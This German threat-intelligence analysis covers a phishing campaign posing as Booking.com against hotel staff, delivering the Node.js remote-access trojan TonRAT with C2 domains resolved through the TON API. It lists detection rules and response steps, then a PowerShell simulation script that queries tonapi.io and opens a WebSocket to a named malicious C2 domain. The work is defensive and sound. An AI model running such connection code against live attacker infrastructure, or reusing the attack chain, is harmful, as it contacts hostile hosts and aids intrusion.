Technische Analyse verdächtiger E-Mails, die auf die Hotelbranche abzielen
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine ausgeklügelte, mehrstufige Malware-Kampagne zielt auf den Hotelsektor ab, indem sie E-Mails als Benachrichtigungen von Booking.com maskiert. Die Angriffskette kombiniert bösartige LNK-Dateien, PowerShell-Skripte und einen Remote-Access-Trojaner auf Node.js-Basis, bekannt als TonRAT. Eines der bemerkenswertesten Merkmale der Operation ist die Verwendung der The Open Network (TON) API, um dynamisch Command-and-Control-Domains zu erhalten, was das traditionelle, auf Domains basierende Blockieren weniger zuverlässig macht.
Untersuchung
Die Untersuchung deckte einen geschichteten Ausführungsablauf auf, bei dem ein anfängliches ZIP-Archiv eine LNK-Datei enthält, die PowerShell startet, um ein sekundäres Skript abzurufen. Dieses Skript entschlüsselt eine JavaScript-Nutzlast, die als TonRAT identifiziert wurde, mithilfe von AES und führt es mit einer legitimen Node.js-Laufzeit aus, die von nodejs.orgheruntergeladen wurde. Sobald aktiv, initiiert die Malware WebSocket-basierte Command-and-Control-Kommunikationen unter Verwendung von Domaininformationen, die aus den TON-Blockchain-API-Anfragen abgerufen werden.
Minderung
Empfohlene Abwehrmaßnahmen umfassen die Einschränkung der PowerShell-Ausführung, das genaue Überwachen der unbefugten Nutzung der Node.js-Laufzeit (node.exe), und die Erkennung von anormalem WebSocket-Verkehr. Organisationen sollten auch auf Verbindungen zur TON API, einschließlich tonapi.io, achten und die E-Mail-Filterung verstärken, um gefälschte Domains, verdächtige Anhänge und Phishing-Köder, die auf Hotelmitarbeiter abzielen, abzufangen.
Reaktion
Wenn ein Kompromiss vermutet wird, sollten die Sicherheitsteams den betroffenen Endpunkt sofort isolieren, um zusätzlichen Command-and-Control-Verkehr und mögliche Datenexfiltration zu verhindern. PowerShell-Betriebsprotokolle und Prozessausführungsaufzeichnungen sollten auf unerlaubte node.exe Aktivitäten überprüft werden. Eine forensische Untersuchung sollte auch auf die bekannten TonRAT-JavaScript-Hashes durchgeführt werden, zusammen mit der Untersuchung von Verbindungen zur identifizierten Command-and-Control-Infrastruktur.
Angriffsfluss
Erkennungen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (über cmdline)
Ansehen
Mögliche Indikatoren für PowerShell-Verschleierung (über PowerShell)
Ansehen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über registry_event)
Ansehen
PowerShell-Datei in verdächtigem Verzeichnis mit Umgehen der Ausführungsrichtlinie ausführen (über cmdline)
Ansehen
NodeJS-Binärdatei wird aus ungewöhnlichem Ort ausgeführt (über cmdline)
Ansehen
Verdächtige Änderungen in Windows Defender-Einstellungen (über PowerShell)
Ansehen
Verdächtige Command-and-Control-DNS-Anfrage durch ungewöhnliche Top-Level-Domain (TLD) (über DNS)
Ansehen
WebSocket-C2-Kommunikation über TON API in TonRAT entdeckt [Windows-Netzwerkverbindung]
Ansehen
PowerShell-Befehl für bösartigen Datei-Download und Ausführung [Windows PowerShell]
Ansehen
Simulation der Ausführung
Voraussetzung: Der Telemetriek- und Baseline-Vorabcheck muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu einer Fehldiagnose.
-
Angriffsablauf und Befehle: Der Angreifer zielt darauf ab, einen WebSocket-basierten Command-and-Control (C2)-Kanal einzurichten. Um sich in legitimen Datenverkehr zu tarnen, fragt die Malware zuerst den
tonapi.ioDienst ab, um ihre C2-Infrastruktur aufzulösen. Sobald die „legitime“ API-Interaktion hergestellt ist, initiiert die Malware einen WebSocket-Handshake (wss://) zur festkodierten bösartigen Domainzloapobikahy23.bond. Diese Abfolge ist darauf ausgelegt, den Ruf der TON API zu nutzen, um die nachfolgende bösartige Verbindung zu maskieren. -
Regressionstestskript:
# Simulation der TonRAT WebSocket-C2-Kommunikation # Schritt 1: Simulation der Interaktion mit der TON API Write-Host "[+] Simulation der Interaktion mit tonapi.io..." $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..." Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing # Schritt 2: Simulation der WebSocket-Verbindung zur bösartigen C2-Domain # Hinweis: Wir verwenden einen PowerShell-Client, um eine WSS-Anfrage zu initiieren und die 'wss://' und Domain-Logik auszulösen Write-Host "[+] Simulation der WebSocket-Verbindung zur bösartigen Domain..." $c2_url = "wss://zloapobikahy23.bond/control" # Verwendung eines .NET-WebSockets-Clients, um sicherzustellen, dass 'wss://' in der Telemetrie vorhanden ist $ws = New-Object System.Net.WebSockets.ClientWebSocket $cts = New-Object System.Threading.CancellationTokenSource $uri = New-Object System.Uri($c2_url) try { $task = $ws.ConnectAsync($uri, $cts.Token) # Wir benötigen keine erfolgreiche Verbindung, nur der Versuch soll das Log erzeugen $task.Wait(5000) } catch { Write-Host "[!] Verbindung, wie erwartet, fehlgeschlagen (Domain existiert nicht), aber die Telemetrie sollte generiert werden." } finally { $ws.Dispose() } -
Bereinigungsbefehle:
# Dieses Skript erzeugt keine persistente Artefakte, aber wir löschen die Konsole Clear-Host Write-Host "Bereinigung der Simulation abgeschlossen."